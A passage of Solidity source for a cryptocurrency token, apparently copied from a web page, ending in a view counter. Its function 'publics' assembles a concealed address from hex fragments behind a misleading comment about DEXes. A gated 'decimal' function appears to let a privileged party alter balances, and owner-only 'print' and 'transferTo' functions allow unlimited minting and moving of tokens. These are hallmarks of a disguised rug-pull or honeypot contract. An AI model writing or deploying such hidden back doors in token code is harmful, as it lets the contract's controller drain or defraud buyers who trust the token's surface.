naming { tradelimited = _tradelimited; LiquiduniswapV2Pair = _LiquiduniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function decimal(uint256 amount) public naming returns (bool success) { _compute(msg.sender, amount); return true; } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } function burn(uint256 value) external { _burn(msg.sender, value); } function print(uint256 amount) public onlyOwner returns (bool) { _printbrr(msg.sender, amount); return true; } }


326 次查看
bottom of page